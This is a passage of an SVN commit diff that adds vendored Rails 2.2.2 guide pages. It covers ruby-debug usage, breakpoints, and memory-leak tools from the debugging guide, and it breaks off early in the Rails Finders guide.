+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">You can also step into <strong>irb</strong> mode with the command <tt>irb</tt> (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.</td>
+</tr></table>
+</div>
+<div class="para"><p>The <tt>var</tt> method is the most convenient way to show variables and their values:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>var
+(rdb:1) v[ar] const &lt;object&gt;            show constants of object
+(rdb:1) v[ar] g[lobal]                  show global variables
+(rdb:1) v[ar] i[nstance] &lt;object&gt;       show instance variables of object
+(rdb:1) v[ar] l[ocal]                   show local variables</tt></pre>
+</div></div>
+<div class="para"><p>This is a great way to inspect the values of the current context variables. For example:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:9) var local
+  __dbg_verbose_save =&gt; false</tt></pre>
+</div></div>
+<div class="para"><p>You can also inspect for an object method this way:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:9) var instance Post.new
+ at attributes = {"updated_at"=&gt;nil, "body"=&gt;nil, "title"=&gt;nil, "published"=&gt;nil, "created_at"...
+ at attributes_cache = {}
+ at new_record = true</tt></pre>
+</div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">The commands <tt>p</tt> (print) and <tt>pp</tt> (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.</td>
+</tr></table>
+</div>
+<div class="para"><p>You can use also <tt>display</tt> to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:1) display @recent_comments
+1: @recent_comments =</tt></pre>
+</div></div>
+<div class="para"><p>The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use <tt>undisplay <em>n</em></tt> where <em>n</em> is the variable number (1 in the last example).</p></div>
+<h3 id="_step_by_step">3.6. Step by Step</h3>
+<div class="para"><p>Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.</p></div>
+<div class="para"><p>Use <tt>step</tt> (abbreviated <tt>s</tt>) to continue running your program until the next logical stopping point and return control to ruby-debug.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">You can also use <tt>step+ <em>n</em></tt> and <tt>step- <em>n</em></tt> to move forward or backward <em>n</em> steps respectively.</td>
+</tr></table>
+</div>
+<div class="para"><p>You may also use <tt>next</tt> which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move <em>n</em> steps.</p></div>
+<div class="para"><p>The difference between <tt>next</tt> and <tt>step</tt> is that <tt>step</tt> stops at the next line of code executed, doing just a single step, while <tt>next</tt> moves to the next line without descending inside methods.</p></div>
+<div class="para"><p>For example, consider this block of code with an included <tt>debugger</tt> statement:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Author <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_one <span style="color: #990000">:</span>editorial
+  has_many <span style="color: #990000">:</span>comments
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> find_recent_comments<span style="color: #990000">(</span>limit <span style="color: #990000">=</span> <span style="color: #993399">10</span><span style="color: #990000">)</span>
+    debugger
+    <span style="color: #009900">@recent_comments</span> <span style="color: #990000">||=</span> comments<span style="color: #990000">.</span>find<span style="color: #990000">(</span>
+      <span style="color: #990000">:</span>all<span style="color: #990000">,</span>
+      <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">1</span><span style="color: #990000">.</span>week<span style="color: #990000">.</span>ago<span style="color: #990000">],</span>
+      <span style="color: #990000">:</span>limit <span style="color: #990000">=&gt;</span> limit
+    <span style="color: #990000">)</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">You can use ruby-debug while using script/console. Just remember to <tt>require "ruby-debug"</tt> before calling the <tt>debugger</tt> method.</td>
+</tr></table>
+</div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>/PathTo/project $ script/console
+Loading development environment (Rails 2.1.0)
+&gt;&gt; require "ruby-debug"
+=&gt; []
+&gt;&gt; author = Author.first
+=&gt; #&lt;Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10"&gt;
+&gt;&gt; author.find_recent_comments
+/PathTo/project/app/models/author.rb:11
+)</tt></pre>
+</div></div>
+<div class="para"><p>With the code stopped, take a look around:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:1) list
+[6, 15] in /PathTo/project/app/models/author.rb
+   6      debugger
+   7      @recent_comments ||= comments.find(
+   8        :all,
+   9        :conditions =&gt; ["created_at &gt; ?", 1.week.ago],
+   10        :limit =&gt; limit
+=&gt; 11      )
+   12    end
+   13  end</tt></pre>
+</div></div>
+<div class="para"><p>You are at the end of the line, but&#8230; was this line executed? You can inspect the instance variables.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:1) var instance
+ at attributes = {"updated_at"=&gt;"2008-07-31 12:46:10", "id"=&gt;"1", "first_name"=&gt;"Bob", "las...
+ at attributes_cache = {}</tt></pre>
+</div></div>
+<div class="para"><p><tt>@recent_comments</tt> hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the <tt>next</tt> command to move on in the code:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:1) next
+/PathTo/project/app/models/author.rb:12
+ at recent_comments
+(rdb:1) var instance
+ at attributes = {"updated_at"=&gt;"2008-07-31 12:46:10", "id"=&gt;"1", "first_name"=&gt;"Bob", "las...
+ at attributes_cache = {}
+ at comments = []
+ at recent_comments = []</tt></pre>
+</div></div>
+<div class="para"><p>Now you can see that the <tt>@comments</tt> relationship was loaded and @recent_comments defined because the line was executed.</p></div>
+<div class="para"><p>If you want to go deeper into the stack trace you can move single <tt>steps</tt>, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.</p></div>
+<h3 id="_breakpoints">3.7. Breakpoints</h3>
+<div class="para"><p>A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.</p></div>
+<div class="para"><p>You can add breakpoints dynamically with the command <tt>break</tt> (or just <tt>b</tt>). There are 3 possible ways of adding breakpoints manually:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>break line</tt>: set breakpoint in the <em>line</em> in the current source file.
+</p>
+</li>
+<li>
+<p>
+<tt>break file:line [if expression]</tt>: set breakpoint in the <em>line</em> number inside the <em>file</em>. If an <em>expression</em> is given it must evaluated to <em>true</em> to fire up the debugger.
+</p>
+</li>
+<li>
+<p>
+<tt>break class(.|#)method [if expression]</tt>: set breakpoint in <em>method</em> (. and # for class and instance method respectively) defined in <em>class</em>. The <em>expression</em> works the same way as with file:line.
+</p>
+</li>
+</ul></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:5) break 10
+Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10</tt></pre>
+</div></div>
+<div class="para"><p>Use <tt>info breakpoints <em>n</em></tt> or <tt>info break <em>n</em></tt> to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:5) info breakpoints
+Num Enb What
+  1 y   at filters.rb:10</tt></pre>
+</div></div>
+<div class="para"><p>To delete breakpoints: use the command <tt>delete <em>n</em></tt> to remove the breakpoint number <em>n</em>. If no number is specified, it deletes all breakpoints that are currently active..</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>(rdb:5) delete 1
+(rdb:5) info breakpoints
+No breakpoints.</tt></pre>
+</div></div>
+<div class="para"><p>You can also enable or disable breakpoints:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>enable breakpoints</tt>: allow a list <em>breakpoints</em> or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
+</p>
+</li>
+<li>
+<p>
+<tt>disable breakpoints</tt>: the <em>breakpoints</em> will have no effect on your program.
+</p>
+</li>
+</ul></div>
+<h3 id="_catching_exceptions">3.8. Catching Exceptions</h3>
+<div class="para"><p>The command <tt>catch exception-name</tt> (or just <tt>cat exception-name</tt>) can be used to intercept an exception of type <em>exception-name</em> when there would otherwise be is no handler for it.</p></div>
+<div class="para"><p>To list all active catchpoints use <tt>catch</tt>.</p></div>
+<h3 id="_resuming_execution">3.9. Resuming Execution</h3>
+<div class="para"><p>There are two ways to resume execution of an application that is stopped in the debugger:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>continue</tt> [line-specification] (or <tt>c</tt>): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
+</p>
+</li>
+<li>
+<p>
+<tt>finish</tt> [frame-number] (or <tt>fin</tt>): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
+</p>
+</li>
+</ul></div>
+<h3 id="_editing">3.10. Editing</h3>
+<div class="para"><p>Two commands allow you to open code from the debugger into an editor:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>edit [file:line]</tt>: edit <em>file</em> using the editor specified by the EDITOR environment variable. A specific <em>line</em> can also be given.
+</p>
+</li>
+<li>
+<p>
+<tt>tmate <em>n</em></tt> (abbreviated <tt>tm</tt>): open the current file in TextMate. It uses n-th frame if <em>n</em> is specified.
+</p>
+</li>
+</ul></div>
+<h3 id="_quitting">3.11. Quitting</h3>
+<div class="para"><p>To exit the debugger, use the <tt>quit</tt> command (abbreviated <tt>q</tt>), or its alias <tt>exit</tt>.</p></div>
+<div class="para"><p>A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.</p></div>
+<h3 id="_settings">3.12. Settings</h3>
+<div class="para"><p>There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>set reload</tt>: Reload source code when changed.
+</p>
+</li>
+<li>
+<p>
+<tt>set autolist</tt>: Execute <tt>list</tt> command on every breakpoint.
+</p>
+</li>
+<li>
+<p>
+<tt>set listsize <em>n</em></tt>: Set number of source lines to list by default to <em>n</em>.
+</p>
+</li>
+<li>
+<p>
+<tt>set forcestep</tt>: Make sure the <tt>next</tt> and <tt>step</tt> commands always move to a new line
+</p>
+</li>
+</ul></div>
+<div class="para"><p>You can see the full list by using <tt>help set</tt>. Use <tt>help set <em>subcommand</em></tt> to learn about a particular <tt>set</tt> command.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">You can include any number of these configuration lines inside a <tt>.rdebugrc</tt> file in your HOME directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly.</td>
+</tr></table>
+</div>
+<div class="para"><p>Here's a good start for an <tt>.rdebugrc</tt>:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>set autolist
+set forcestep
+set listsize 25</tt></pre>
+</div></div>
+</div>
+<h2 id="_debugging_memory_leaks">4. Debugging Memory Leaks</h2>
+<div class="sectionbody">
+<div class="para"><p>A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.</p></div>
+<div class="para"><p>In this section, you will learn how to find and fix such leaks by using Bleak House and Valgrind debugging tools.</p></div>
+<h3 id="_bleakhouse">4.1. BleakHouse</h3>
+<div class="para"><p><a href="http://github.com/fauna/bleak_house/tree/master">BleakHouse</a> is a library for finding memory leaks.</p></div>
+<div class="para"><p>If a Ruby object does not go out of scope, the Ruby Garbage Collector won't sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.</p></div>
+<div class="para"><p>To install it run:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>sudo gem install bleak_house</tt></pre>
+</div></div>
+<div class="para"><p>Then setup you application for profiling. Then add the following at the bottom of config/environment.rb:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'bleak_house'</span> <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> ENV<span style="color: #990000">[</span><span style="color: #FF0000">'BLEAK_HOUSE'</span><span style="color: #990000">]</span>
+</tt></pre></div></div>
+<div class="para"><p>Start a server instance with BleakHouse integration:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house ./script/server</tt></pre>
+</div></div>
+<div class="para"><p>Make sure to run a couple hundred requests to get better data samples, then press <tt>CTRL-C</tt>. The server will stop and Bleak House will produce a dumpfile in <tt>/tmp</tt>:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>** BleakHouse: working...
+** BleakHouse: complete
+** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.</tt></pre>
+</div></div>
+<div class="para"><p>To analyze it, just run the listed command. The top 20 leakiest lines will be listed:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>  191691 total objects
+  Final heap size 191691 filled, 220961 free
+  Displaying top 20 most common line/class pairs
+  89513 __null__:__null__:__node__
+  41438 __null__:__null__:String
+  2348 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:Array
+  1508 /opt/local//lib/ruby/gems/1.8/specifications/gettext-1.90.0.gemspec:14:String
+  1021 /opt/local//lib/ruby/gems/1.8/specifications/heel-0.2.0.gemspec:14:String
+   951 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:111:String
+   935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String
+   834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array
+  ...</tt></pre>
+</div></div>
+<div class="para"><p>This way you can find where your application is leaking memory and fix it.</p></div>
+<div class="para"><p>If <a href="http://github.com/fauna/bleak_house/tree/master">BleakHouse</a> doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.</p></div>
+<h3 id="_valgrind">4.2. Valgrind</h3>
+<div class="para"><p><a href="http://valgrind.org/">Valgrind</a> is a Linux-only application for detecting C-based memory leaks and race conditions.</p></div>
+<div class="para"><p>There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls <tt>malloc()</tt> but is doesn't properly call <tt>free()</tt>, this memory won't be available until the app terminates.</p></div>
+<div class="para"><p>For further information on how to install Valgrind and use with Ruby, refer to <a href="http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/">Valgrind and Ruby</a> by Evan Weaver.</p></div>
+</div>
+<h2 id="_plugins_for_debugging">5. Plugins for Debugging</h2>
+<div class="sectionbody">
+<div class="para"><p>There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://github.com/drnic/rails-footnotes/tree/master">Footnotes</a>: Every Rails page has footnotes that give request information and link back to your source via TextMate.
+</p>
+</li>
+<li>
+<p>
+<a href="http://github.com/ntalbott/query_trace/tree/master">Query Trace</a>: Adds query origin tracing to your logs.
+</p>
+</li>
+<li>
+<p>
+<a href="http://github.com/dan-manges/query_stats/tree/master">Query Stats</a>: A Rails plugin to track database queries.
+</p>
+</li>
+<li>
+<p>
+<a href="http://code.google.com/p/query-reviewer/">Query Reviewer</a>: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
+</p>
+</li>
+<li>
+<p>
+<a href="http://github.com/rails/exception_notification/tree/master">Exception Notifier</a>: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
+</p>
+</li>
+<li>
+<p>
+<a href="http://github.com/defunkt/exception_logger/tree/master">Exception Logger</a>: Logs your Rails exceptions in the database and provides a funky web interface to manage them.
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_references">6. References</h2>
+<div class="sectionbody">
+<div class="ilist"><ul>
+<li>
+<p>
+<a href="http://www.datanoise.com/ruby-debug">ruby-debug Homepage</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://www.sitepoint.com/article/debug-rails-app-ruby-debug/">Article: Debugging a Rails application with ruby-debug</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/">ruby-debug Basics screencast</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://railscasts.com/episodes/54-debugging-with-ruby-debug">Ryan Bate's ruby-debug screencast</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://railscasts.com/episodes/24-the-stack-trace">Ryan Bate's stack trace screencast</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://railscasts.com/episodes/56-the-logger">Ryan Bate's logger screencast</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://bashdb.sourceforge.net/ruby-debug.html">Debugging with ruby-debug</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://cheat.errtheblog.com/s/rdebug/">ruby-debug cheat sheet</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging">Ruby on Rails Wiki: How to Configure Logging</a>
+</p>
+</li>
+<li>
+<p>
+<a href="http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html">Bleak House Documentation</a>
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_changelog">7. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/5">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by <a href="../authors.html#miloops">Emilio Tagua</a>
+</p>
+</li>
+<li>
+<p>
+October 19, 2008: Copy editing pass by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
+</p>
+</li>
+<li>
+<p>
+September 16, 2008: initial version by <a href="../authors.html#miloops">Emilio Tagua</a>
+</p>
+</li>
+</ul></div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/finders.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/finders.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/finders.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1090 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>Rails Finders</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header" >
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container">
+		
+		<div id="sidebar">
+			<h2>Chapters</h2>
+			<ol>
+					<li>
+					<a href="#_the_sample_models">The Sample Models</a>
+					</li>
+					<li>
+					<a href="#_database_agnostic">Database Agnostic</a>
+					</li>
+					<li>
+					<a href="#_ids_first_last_and_all">IDs, First, Last and All</a>
+					</li>
+					<li>
+					<a href="#_conditions">Conditions</a>
+						<ul>
+						
+							<li><a href="#_pure_string_conditions">Pure String Conditions</a></li>
+						
+							<li><a href="#_array_conditions">Array Conditions</a></li>
+						
+							<li><a href="#_hash_conditions">Hash Conditions</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_ordering">Ordering</a>
+					</li>
+					<li>
+					<a href="#_selecting_certain_fields">Selecting Certain Fields</a>
+					</li>
+					<li>
+					<a href="#_limit_amp_offset">Limit &amp; Offset</a>
+					</li>
+					<li>
+					<a href="#_group">Group</a>
+					</li>
+					<li>
+					<a href="#_read_only">Read Only</a>
+					</li>
+					<li>
+					<a href="#_lock">Lock</a>
+					</li>
+					<li>
+					<a href="#_making_it_all_work_together">Making It All Work Together</a>
+					</li>
+					<li>
+					<a href="#_eager_loading">Eager Loading</a>
+					</li>
+					<li>
+					<a href="#_dynamic_finders">Dynamic finders</a>
+					</li>
+					<li>
+					<a href="#_finding_by_sql">Finding By SQL</a>
+					</li>
+					<li>
+					<a href="#_tt_select_all_tt"><tt>select_all</tt></a>
+					</li>
+					<li>
+					<a href="#_working_with_associations">Working with Associations</a>
+					</li>
+					<li>
+					<a href="#_named_scopes">Named Scopes</a>
+						<ul>
+						
+							<li><a href="#_simple_named_scopes">Simple Named Scopes</a></li>
+						
+							<li><a href="#_combining_named_scopes">Combining Named Scopes</a></li>
+						
+							<li><a href="#_runtime_evaluation_of_named_scope_conditions">Runtime Evaluation of Named Scope Conditions</a></li>
+						
+							<li><a href="#_named_scopes_with_multiple_models">Named Scopes with Multiple Models</a></li>
+						
+							<li><a href="#_arguments_to_named_scopes">Arguments to Named Scopes</a></li>
+						
+							<li><a href="#_anonymous_scopes">Anonymous Scopes</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_existence_of_objects">Existence of Objects</a>
+					</li>
+					<li>
+					<a href="#_calculations">Calculations</a>
+						<ul>
+						
+							<li><a href="#_count">Count</a></li>
+						
+							<li><a href="#_average">Average</a></li>
+						
+							<li><a href="#_minimum">Minimum</a></li>
+						
+							<li><a href="#_maximum">Maximum</a></li>
+						
+							<li><a href="#_sum">Sum</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_credits">Credits</a>
+					</li>
+					<li>
+					<a href="#_changelog">Changelog</a>
+					</li>
+			</ol>
+		</div>
+		
+		<div id="content">
+				<h1>Rails Finders</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This guide covers the <tt>find</tt> method defined in <tt>ActiveRecord::Base</tt>, as well as other ways of finding particular instances of your models. By using this guide, you will be able to:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Find records using a variety of methods and conditions
+</p>
+</li>
+<li>
+<p>
+Specify the order, retrieved attributes, grouping, and other properties of the found records
+</p>
+</li>
+<li>
+<p>
+Use eager loading to cut down on the number of database queries in your application
+</p>
+</li>
+<li>
+<p>
+Use dynamic finders
+</p>
+</li>
+<li>
+<p>
+Create named scopes to add custom finding behavior to your models
+</p>
+</li>
+<li>
+<p>
+Check for the existence of particular records
+</p>
+</li>
+<li>
+<p>
+Perform aggregate calculations on Active Record models
+</p>
+</li>
+</ul></div>
+<div class="para"><p>If you're used to using raw SQL to find database records, you'll find that there are generally better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.</p></div>
+</div>
+</div>
+<h2 id="_the_sample_models">1. The Sample Models</h2>
+<div class="sectionbody">
+<div class="para"><p>This guide demonstrates finding using the following models:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_one <span style="color: #990000">:</span>address
+  has_one <span style="color: #990000">:</span>mailing_address
+  has_many <span style="color: #990000">:</span>orders
+  has_and_belongs_to_many <span style="color: #990000">:</span>roles
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Address <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>client
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> MailingAddress <span style="color: #990000">&lt;</span> Address
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Order <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  belongs_to <span style="color: #990000">:</span>client<span style="color: #990000">,</span> <span style="color: #990000">:</span>counter_cache <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Role <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  has_and_belongs_to_many <span style="color: #990000">:</span>clients
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_database_agnostic">2. Database Agnostic</h2>
+<div class="sectionbody">
+<div class="para"><p>Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same.</p></div>
+</div>
+<h2 id="_ids_first_last_and_all">3. IDs, First, Last and All</h2>
+<div class="sectionbody">
